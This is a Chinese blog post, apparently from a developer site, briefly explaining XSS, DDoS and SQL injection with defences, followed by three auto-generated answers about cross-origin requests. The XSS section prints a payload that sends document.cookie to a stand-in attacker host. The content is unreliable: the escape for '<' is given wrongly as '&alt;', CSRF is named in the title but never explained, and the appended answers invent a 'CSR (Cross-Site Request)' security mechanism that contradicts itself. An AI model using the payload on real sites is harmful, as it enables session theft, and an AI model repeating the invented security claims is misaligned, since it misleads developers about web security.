CSRF(跨域请求伪造)、XSS(跨域脚本攻击)

  1. XSS:全称是跨域脚本攻击(Cross Site Scripting),因为缩写和 CSS 重名,所以采用 XSS。
    原理:在网页中提交评论的时候本来应该都是字符串的,却提交的是 script 代码,这就会将 scrip 代码存储到数据库中,下次拉取该评论的时候就会执行该 script 代码。如果是坏人恶意的会怎么样?比如下面:
<script>window.open(“www.huairen.com?param=”+document.cookie)</script>
// 坏人获取了该用户的 cookie
预防:将输入的 <script> 进行转义,如将 < 转义成 &alt;
  1. DDOS:分布式拒绝服务攻击(Distributed Denial of Service),是 DOS 的升级版,利用公共计算机,同时向一个服务器发送大量请求导致服务器瘫痪。
    原因:服务器的带宽不够
    预防:1. 增加带宽,不过带宽是非常昂贵的,而黑客的免费 ip 却是大量的,所以这个方法不是很有效。2. 求助于云服务商

  2. sql注入:在 HTTP 请求参数上写相应的 sql 命令,服务器执行 sql 语句对数据库进行更改。
    预防:对请求参数进行预解析,将 sql 命令解析成普通字符串

推荐:
跨站脚本功攻击,xss,一个简单的例子让你知道什么是xss攻击
CSRF攻击与防御
什么是跨域,有什么攻击,如何防止攻击

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: CSR(客户端渲染)是指 JavaScript 应用程序在浏览器中运行并生成用户界面的方式。因为浏览器有同源策略的限制,导致跨域请求无法直接发送。跨域资源共享(CORS)是浏览器用来解决这个问题的技术,服务器端可以通过在响应中设置特定的 HTTP 头来允许跨域请求跨域攻击是指攻击者利用了浏览器的同源策略限制来获取用户敏感信息。常见的有XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。为了防止跨域攻击,应当使用CORS机制严格限制哪些域可以访问服务器,同时应当使用防跨站请求伪造CSRF)技术来防止攻击伪造请求。 ### 回答2: CSR(Cross-Site Request)是一种安全机制,旨在防止跨域请求跨域攻击跨域请求是指Web应用程序在一个域名下发送HTTP请求,但目标资源位于另一个不同的域名下。这种请求通常是由于前端页面中的JavaScript代码发送的,然而,由于浏览器的同源策略,跨域请求默认是被禁止的。 同源策略是一种浏览器安全机制,用于限制从一个源(协议+域名+端口)加载的文档或脚本如何与来自另一个源的资源进行交互。它的目的是保护用户信息的安全,防止恶意攻击者利用其他网站的漏洞来获取用户敏感数据。 为了实现跨域请求,可以使用CORS(跨来源资源共享)机制。CORS通过在HTTP响应头中添加特定的字段,使服务器能够允许跨域请求。前端页面发送的请求会先向服务器发送一个预检请求(OPTIONS请求),服务器通过响应头中的字段来确定是否允许该请求。 然而,即使使用了CORS,仍然需要注意跨域攻击(Cross-Site Scripting,XSS)的风险。XSS攻击是指攻击者通过注入恶意脚本代码到受信任网站的合法页面中,来获取用户的敏感信息或执行其他恶意操作。为了防止XSS攻击,可以对用户输入进行严格的过滤和验证,并在输出时进行适当的转义。 此外,还可以使用其他安全机制来增强安全性,如使用安全的HTTP头(如X-Frame-Options,Content-Security-Policy等),限制特定域名下的资源访问。同时,定期更新和维护服务器和应用程序以修补潜在的安全漏洞,也是非常重要的。 总而言之,CSR可以通过CORS机制来防止跨域请求,并采取其他安全措施来防止跨域攻击,保护用户的信息安全。 ### 回答3: CSR(Cross-Site Request)是一种安全机制,用于防范跨域请求跨域攻击跨域请求是指在Web应用中,如果一个请求的源和目标位于不同的域名下,浏览器会根据同源策略(Same-Origin Policy)限制请求的发送和响应。同源策略要求请求的协议、域名和端口必须完全相同,否则浏览器会阻止该请求的发送。这种限制能够防止恶意网站通过浏览器发送跨域请求获取用户的敏感信息。 为了解决跨域请求的问题,可以使用CSR机制。CSR机制允许Web应用向另一个域名发送请求,并获取响应。在CSR机制中,Web应用通过在请求头中添加一些安全标记(如Origin header),告知服务器请求的来源。服务器在接收到请求后,会检查Origin header的值,然后根据策略决定是否允许跨域请求。 另外,跨域攻击也是一种常见的安全威胁,如跨站脚本攻击(Cross-Site Scripting,XSS)、跨站请求伪造(Cross-Site Request Forgery,CSRF)等。这些攻击利用了Web应用对跨域请求的信任,将恶意代码或请求发送到目标网站,以获取用户的敏感信息或执行恶意操作。 CSR机制可以有效防止跨域请求的产生,并提供一定程度的安全保护。通过限制跨域请求的访问,Web应用能够更好地保护用户的数据安全和隐私,并防范跨域攻击。然而,为了进一步加强安全性,开发者还应该采取其他安全措施,如输入验证、输出编码、会话管理等,以全面保护Web应用的安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值